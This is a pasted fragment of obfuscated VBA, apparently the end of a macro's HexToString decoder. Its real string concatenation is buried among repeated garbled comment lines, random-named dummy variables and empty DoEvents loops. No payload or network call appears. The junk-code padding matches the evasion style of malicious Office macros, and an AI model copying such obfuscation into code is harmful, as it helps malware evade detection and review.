- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim ugGjFFcl, wtWWMbOz, VjpGEClw As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- ugGjFFcl = " MHWXRR "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- wtWWMbOz = LTrim(ugGjFFcl)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- VjpGEClw = RTrim(wtWWMbOz)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- ZVmEwSfY = " DPVVBW "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim TsiwubrI As Integer
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- For TsiwubrI = 0 To 1
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim JvcswooH, GoNBlqGg, agSzWBKb As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- JvcswooH = " MVBGBY "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- GoNBlqGg = LTrim(JvcswooH)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- agSzWBKb = RTrim(GoNBlqGg)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DoEvents
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Next TsiwubrI
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim MwBHNLZT, HxozmVNY, QclfGzcU As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- MwBHNLZT = " RBZNKH "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- HxozmVNY = LTrim(MwBHNLZT)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- QclfGzcU = RTrim(HxozmVNY)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- GruYCnkJ = LTrim(ZVmEwSfY)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim uexgnnUh As Integer
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- For uexgnnUh = 0 To 3
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim TTxWkwog, pnrhRJay, GwQPJsKV As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- TTxWkwog = " CXCHGE "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- pnrhRJay = LTrim(TTxWkwog)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- GwQPJsKV = RTrim(pnrhRJay)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DoEvents
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Next uexgnnUh
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim NYOYZXeF, ZJVnslSi, JUetkyVH As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- NYOYZXeF = " COXSDA "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- ZJVnslSi = LTrim(NYOYZXeF)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- JUetkyVH = RTrim(ZJVnslSi)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- apLObfmz = RTrim(GruYCnkJ)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim RkUblskv As Integer
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- For RkUblskv = 0 To 7
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim HjrlxgJg, zxHxVeMb, fZZbnJVP As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- HjrlxgJg = " LMHLBO "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- zxHxVeMb = LTrim(HjrlxgJg)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- fZZbnJVP = RTrim(zxHxVeMb)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DoEvents
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Next RkUblskv
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim eoAdalMn, VpQvwvkA, MqWPHZGE As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- eoAdalMn = " ILHQKR "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- VpQvwvkA = LTrim(eoAdalMn)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- MqWPHZGE = RTrim(VpQvwvkA)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- tSYUgjyTUeojMcv = tSYUgjyTUeojMcv & uQdrZqcgGusmEB
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Next UPEktusxicjMa
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim vLUjcBdM, lMJZKrPW, hMzFdiiX As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim wxUYZNsg As Integer
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- For wxUYZNsg = 0 To 9
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim ydninZlZ, QioEDCpl, heHVNlzs As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- ydninZlZ = " QSBXMU "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- QioEDCpl = LTrim(ydninZlZ)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- heHVNlzs = RTrim(QioEDCpl)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DoEvents
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Next wxUYZNsg
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim oiliRZbe, cCbQPfQQ, NoFTlQmt As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- oiliRZbe = " MSPKBB "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- cCbQPfQQ = LTrim(oiliRZbe)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- NoFTlQmt = RTrim(cCbQPfQQ)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- vLUjcBdM = " LQLDRL "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim MYgryIdq As Integer
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- For MYgryIdq = 0 To 7
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim vPdljkLB, xmHuglbc, IAZpJiZI As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- vPdljkLB = " PEMLCQ "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- xmHuglbc = LTrim(vPdljkLB)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- IAZpJiZI = RTrim(xmHuglbc)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DoEvents
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Next MYgryIdq
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim HtQwFDwA, StWUoJLZ, UytLZXjE As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- HtQwFDwA = " AHWHSD "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- StWUoJLZ = LTrim(HtQwFDwA)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- UytLZXjE = RTrim(StWUoJLZ)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- lMJZKrPW = LTrim(vLUjcBdM)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim ILQdemdE As Integer
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- For ILQdemdE = 0 To 2
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim ByCymulP, EzRnUAqZ, oCdWMCel As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- ByCymulP = " UOPWJX "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- EzRnUAqZ = LTrim(ByCymulP)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- oCdWMCel = RTrim(EzRnUAqZ)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DoEvents
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Next ILQdemdE
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim RDxHPwJM, uBQPlKng, wGHfbRSC As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- RDxHPwJM = " SDHJJF "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- uBQPlKng = LTrim(RDxHPwJM)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- wGHfbRSC = RTrim(uBQPlKng)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- hMzFdiiX = RTrim(lMJZKrPW)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim ZUfzmsqk As Integer
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- For ZUfzmsqk = 0 To 1
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim DokaybRB, BgrrUdIp, smHuoaQm As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DokaybRB = " KHCPJG "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- BgrrUdIp = LTrim(DokaybRB)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- smHuoaQm = RTrim(BgrrUdIp)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DoEvents
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Next ZUfzmsqk
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim wvwqyNjl, kbTcnrFl, dbHOWosm As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- wvwqyNjl = " JNDPWM "
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- kbTcnrFl = LTrim(wvwqyNjl)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- dbHOWosm = RTrim(kbTcnrFl)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- HexToString = tSYUgjyTUeojMcv
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement